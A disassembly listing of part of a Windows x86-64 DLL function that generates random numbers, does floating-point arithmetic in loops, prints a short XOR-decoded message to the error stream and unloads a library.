mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + rsi]
cmp ecx, esi
cmovae edi, eax
mov eax, dword [rbp + 0x380]
cmp eax, esi
lea r15d, [rax + rsi]
jb 0x180007775
lea r15d, [rax - 0x80000000]
mov eax, dword [rbp + 0x384]
cmp eax, esi
jae 0x180007783
add eax, esi
jmp 0x180007788
add eax, 0x80000000
sub eax, r15d
lea rcx, [rbp + 0x2d20]
cmp eax, 0xffffffff
jne 0x1800077a0
call fcn.180010800
mov ecx, eax
jmp 0x1800077e2
lea esi, [rax + 1]
call fcn.180010800
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x1800077d9
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x1800077d9
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x1800077c3
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r15d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
cmove ecx, r12d
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul r8d, edi
add eax, r8d
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000001
jge 0x180007828
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x380]
test eax, eax
jne 0x18000784b
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x18000785a
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
xor ebx, ebx
lea r12d, [rbx + 5]
mov r15d, ebx
mov ebx, 2
nop dword [rax + rax]
mov eax, dword [rbp + 0x380]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180007885
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x384]
cmp eax, esi
jae 0x180007893
add eax, esi
jmp 0x180007898
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x2d20]
cmp eax, 0xffffffff
jne 0x1800078b0
call fcn.180010800
mov ecx, eax
jmp 0x1800078f1
lea edi, [rax + 1]
call fcn.180010800
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800078e8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800078e8
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800078d2
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
movaps xmm3, xmm8
movaps xmm2, xmm10
mov rdi, rbx
nop word [rax + rax]
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm3, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x180007920
movsd xmm1, qword [rbp + 0x400]
movups xmm0, xmmword [rbp + 0x3f8]
subsd xmm1, xmm0
divsd xmm3, xmm2
mulsd xmm1, xmm3
addsd xmm1, xmm0
addsd xmm1, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm1
test r15b, 1
jne 0x180007a2d
mov eax, dword [rbp + 0x380]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180007998
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x384]
cmp eax, esi
jae 0x1800079a6
add eax, esi
jmp 0x1800079ab
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x2d20]
cmp eax, 0xffffffff
jne 0x1800079c3
call fcn.180010800
mov ecx, eax
jmp 0x180007a0f
lea edi, [rax + 1]
call fcn.180010800
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180007a06
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180007a06
nop word [rax + rax]
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800079f0
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
imul edx, eax
mov dword [rsp + 0x50], edx
jmp 0x180007aa2
movaps xmm3, xmm8
movaps xmm1, xmm10
mov rdi, rbx
nop dword [rax + rax]
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm3, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x180007a40
movsd xmm2, qword [rsp + 0x60]
divsd xmm3, xmm1
movsd xmm0, qword [rbp + 0x400]
movups xmm1, xmmword [rbp + 0x3f8]
subsd xmm0, xmm1
mulsd xmm3, xmm0
addsd xmm3, xmm1
addsd xmm3, xmm10
divsd xmm2, xmm3
movsd qword [rsp + 0x60], xmm2
inc r15d
cmp r15d, 5
jl 0x180007870
sub r12, 1
mov ebx, 0
jne 0x180007860
mov rbx, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x450]
test rcx, rcx
je 0x180007b21
mov rax, qword [rbp + 0x460]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b7c
call fcn.180018c04
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x450], xmm0
xor r14d, r14d
mov qword [rbp + 0x460], r14
jmp 0x180007b24
xor r14d, r14d
mov rdx, qword [rbp + 0x528]
cmp rdx, 0x10
jb 0x180007b61
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b83
call fcn.180018c04
inc r13d
cmp r13d, 0x186a0
mov r12d, 1
jl 0x180007430
jmp 0x1800073e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x438]
call fcn.18000d8b0
movsd xmm0, qword [str.W.____j_ZR]
movsd qword [rbp - 0x80], xmm0
movzx edx, word [0x18001bd60]
mov word [rbp - 0x78], dx
movzx eax, byte [0x18001bd62]
mov byte [rbp - 0x80], 0x69
xor byte [rbp - 0x7f], 0x40
xor byte [rbp - 0x7e], 0x42
xor byte [rbp - 0x7d], 0x44
xor byte [rbp - 0x7c], 0x46
xor byte [rbp - 0x7b], 0x48
xor byte [rbp - 0x7a], 0x4a
xor byte [rbp - 0x79], 0x4c
xor dl, 0x4e
mov byte [rbp - 0x78], dl
xor byte [rbp - 0x77], 0x50
xor al, 0x52
mov byte [rbp - 0x76], al
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18000eb20
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rbp + 0x67d0]
xor rcx, rsp
call fcn.180018820
lea r11, [rsp + 0x6980]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret